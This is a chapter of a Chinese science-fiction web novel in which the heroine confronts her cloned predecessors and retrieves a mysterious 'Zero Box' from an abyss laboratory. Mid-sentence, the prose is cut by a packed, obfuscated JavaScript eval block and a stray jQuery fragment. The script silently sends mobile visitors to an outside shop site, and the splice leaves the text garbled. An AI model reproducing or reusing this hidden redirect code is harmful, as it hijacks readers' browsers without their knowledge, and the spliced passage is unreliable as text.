凌星冉的手还贴在玻璃表面,她看着那张与自己几乎相同的脸,胸口涌起一种极不舒服的感觉。
像是看到自己死后的样子,又像是看到了自己从未活过的一生。
“五个实验体都死了。”她有些紧张的问,“她们怎么死的?”
“意识迁移失败。”
信使走到她身侧,“人类大脑的有机结构和零号的数据意识之间,缺少一个足够稳定的接口。”
“前五个实验体在接入后都没撑过七十二小时,大脑烧毁,只剩空壳。”
凌星冉指着那副和她一模一样的身体:“那她呢?”
“初代。”信使说,“最接近成功的一个,撑了七个周期,共一百四十七天。只可惜,七周后她的意识开始崩解,为了保住零号的数据核心,实验团队把她的意识像断电一样强制冻结了。她就这么被留在培养舱里,像个永远暂停在死前一秒的标本。”
凌星冉喉头发紧。
这个和自己拥有相同基因的女人,曾在一场她无法选择的实验里,被活生生地撕开了意识,让一个不属于人类的意志挤了进来。
最后连死亡都成了一种奢侈。
“你们说我是第二个。”她问,“那为什么我现在还活着?”
信使转过身来,白色面具的反光照到了她的脸上。
“因为你从一开始,就没有接入过零号的核心意识。”
他说,“你出生在矿星,混在人类堆里长大,没有被发现,没有被带入方舟。你对零号而言是一个失控的变量。直到你的第一次死亡,才把它从沉睡中唤醒。”
“所以它现在想把我带回来。”凌星冉看着培养舱里的初代,“把没做完的实验……做完?”
信使没有肯定,也没有否定。
“还有四十六个小时。”他说,“你自己决定。”
凌星冉闭上眼睛。
情感共鸣的能力在这个空间里变得异常活跃。
她捕捉到了。
那是一条记忆碎片,短得像一声叹息。
一个女人的声音在意识深处响起,模糊而温柔:
“宝宝……别怕……”
凌星冉猛地睁开眼,身体像是被什么东西狠狠撞了一下。
母亲。
她从来没有母亲。她是矿星上的无主孤儿。
从小到大,没有任何人给过她这样温柔的声音。
可她的身体在听到那两个字的瞬间做出了最原始的反应。鼻腔发酸,视线模糊,胸口像被人用力握了一下。
“怎么了?”信使问。
“她还有意识。”凌星冉说,“她在说话。”
信使沉默了一会儿,然后低声说了一句:“她不可能还有意识。她被切断了所有主动神经活动。”
“我听见了。”凌星冉转过头,眼眶泛红,“她在和自己的孩子说话。和我说话。”
信使似乎有些意外。
“如果这是真的,那方舟的诊断系统就没能把‘初代’的意识完全清零。”
他说,“你的回归……可能唤醒了一部分,只是极其渺小的一部分。”
凌星冉重新看向培养舱。那个被泡在营养液里的女人,眼皮依然紧闭着。
这一次,她发现了一件此前没有注意到的细节。
初代的嘴唇正在微微翕动,极轻,极慢,像是在无声地重复着什么。
“婴儿……快跑……”
她往玻璃前又贴近了一些。
“她在对一个婴儿说话。”凌星冉低声道。
“可惜已经晚了。”
信使的语气里忽然多了一丝不耐烦。
“我带你到这里,不是来陪你感伤的。深渊实验室在下面三层。你要找的零号之匣在那里。如果你不能在净化者的人找到这里之前进去,我们都会死在这里。”
凌星冉把视线从培养舱上收回来。她问:“净化者会来这里?”
“会。净化者、中心局、安全局,还有你那个甩不掉的系统。”信使说,“一旦方舟的底层信号被激活,半个银河系都会知道这里发生了什么。”
“信号什么时候激活的?”
信使指了指她的手腕终端。
“你走进门的那一刻。”
凌星冉咬紧了牙关。她抬起手腕,终端屏幕上的倒计时还在跳动:45:59:22。
“走。”她说。
他们继续下潜。
通往深渊实验室的通道和上层完全不同。
空气越来越冷,凌星冉的呼吸在面前凝结成细小的白雾。
“为什么叫深渊实验室?”她问。
“因为零号之匣最早被制造出来的时候,实验团队把它放在方舟最深处,上面压着九层屏蔽层,像把一颗心脏埋在地狱的最底下。”
信使说,“他们给它设置了一条规矩:没有人类基因钥匙,它永远不能离开那里。”
“基因钥匙。”凌星冉想起来了。
中心局议长曾熵在寻找的,就是“有机与无机意识转换载体”的钥匙。
那些关于硅基生命、零号、观察者监狱的线索,开始在她脑中拼合。
“是我?”她说。
“你是第二把。”信使说,“初代是第一把。但她废了。”
前方出现了一道门。
这道门和她在上层看到的所有闸门都不同。
“深渊实验室就在这扇门后面。”信使停下脚步,“但这道门有生物识别。你要自己进去。”
“你呢?”
“我进不去。”信使的语气里第一次出现了某种类似挫败感的东西,“这扇门只认她的基因。”
他退后两步,抱臂靠在墙边。白色面具上的光变得很暗,像是一盏快要燃尽的灯。
凌星冉走到门前,伸出了手。
她的指尖快要碰到门面时,终端突然震动了一下。她低头看去。
【零号之匣:已感应到宿主接近。基因认证程序启动。】
【认证结果:匹配。】
【警告:深渊实验室内部存在高浓度‘观察者’污染物。是否继续?】
“观察者。”她低声念出这个词。
江昱辰提过,中心局秘密关押着硅基生命“观察者”,而唯一能打开其囚笼的就是零号。
净化者追杀她的原因,也跟硅基生命被重新封印有关。
她按下了“继续”。
门面上的液体像是被什么力量从中间劈开了,无声地朝两侧退开,露出一个只能容纳一个人通过的狭缝。
凌星冉侧身走了进去。
门内是一片深不见底的黑暗。
她的情感共鸣自动激活了。有什么东西在这片黑暗中注视着她。
她向前迈了一步。脚下似乎踩到了什么,地面随着她的动作荡开一圈微弱的蓝光。
她的脚底触碰到某块感应区域,四周陆续亮了起来。
冷白色的光从墙壁和天花板里渗透出来,把整间实验室照得如同白昼。
她看到了。
实验室正中央,一座巨大的六边形基座上,静静悬浮着一个只有拳头大小的物体。
表面流动着不断变换的蓝色纹路,像一颗被压缩了无数倍的恒星。
零号之匣。
凌星冉不由自主地朝它走过去。
每一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944397|214031||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
步都像是踩在自己从未经历过的记忆上。
周围的空间开始扭曲,墙面上的光影流动得越来越快,像是一段被加速了无数倍的影像。
她看到了很多画面。
全部关于她。
准确地说,是全部关于“她们”。
六个女孩。从婴儿到少女,从蹒跚学步到被关进培养舱。每一个都顶着一张和她一模一样的脸,每一个都被送到了这间实验室,一个接一个死去。
画面闪过得太快,来不及抓住任何一张完整的脸。
最后定格在第七个婴儿。
她躺在冰冷的实验台上,小小的拳头攥得紧紧的,正对着天花板方向放声大哭。
一个女人的手从画面外伸进来,颤抖着,在她额头上轻轻抚了一下。
有人把她抱走了。
系统声响起:
【记忆碎片已解锁:你们一族来自同一个母本。你是最后一个。你是零号最完美的载体。】
凌星冉停在了基座前。
她的手抬到半空,悬在零号之匣的上方。
黑匣散发的光映在她的手心里,像一只温柔的眼睛凝视着她。
“你一直在这里等我。”她的声音轻得如同自言自语。
匣子似乎回应了她。
一道极细的蓝光从匣体表面升起,直直钻进她的手腕终端。
她感到自己的心跳和黑匣的光脉开始同步。
在匣子内部,有一个东西一直被锁着。
一团不断变化的灰色雾团,内核闪烁着微弱的蓝色。那是零号最核心的意识残片。
也是她所有死亡与重生剧本的“原点”。
“这就是我的本体。”她低声说,“你要我把它拿起来吗?”
她手指继续下探,蓝光包裹住了她的整只手。
就在此时,她的终端上弹出一行字。
【警告:回收“零号之匣”将不可逆地唤醒观察者。后果无法预估。】
“我等的就是这个。”她咬牙道,指尖触及了匣体。
黑色的六面体从基座上轻轻脱落,像一颗被剥离的心脏,落入她的掌心。
它在她的手中轻微地震颤着,表面泛起温暖的光泽,像是一只终于回到主人身边的宠物。
整个实验室剧烈震动起来。
警报声从四面八方响起,尖锐到几乎要划破耳膜。
凌星冉攥紧了零号之匣,转身朝门外跑去。
门内,黑暗像是活了,疯狂地朝她涌来。
她拼命奔跑,身后是碎裂的地面和不断崩塌的天花板。那些黑暗像是有重量一样压在她的背上,试图把她拖回深渊。
一只手从门外伸了进来,抓住了她的手腕。
是信使。
“松手!”他低吼一声,将她从崩塌的黑暗中拽了出来。她撞进了他怀里,两个人一起摔在了走廊的地面上。
身后的门轰然崩塌,整个通道被碎石和扭曲的金属彻底封锁。
“你拿到了。”信使的声音从她头顶传来,粗重,带着一丝颤抖,“这玩意在你手里……像活了一样。”
凌星冉低头看向掌心里的黑匣。
它安静地躺在那里,没有光,没有震,像是一块最普通的黑石。
她抬头看向信使,看到走廊尽头,那排培养舱的平台上,有什么东西站起来了。
七个培养舱,六个曾经空荡荡的舱门,如今全部大开。
六个虚影出现,每一个都长着和她一模一样的脸。
她们齐刷刷地转过头来,对着凌星冉。
嘴唇开合,同时发出同一道声音:
“姐姐。”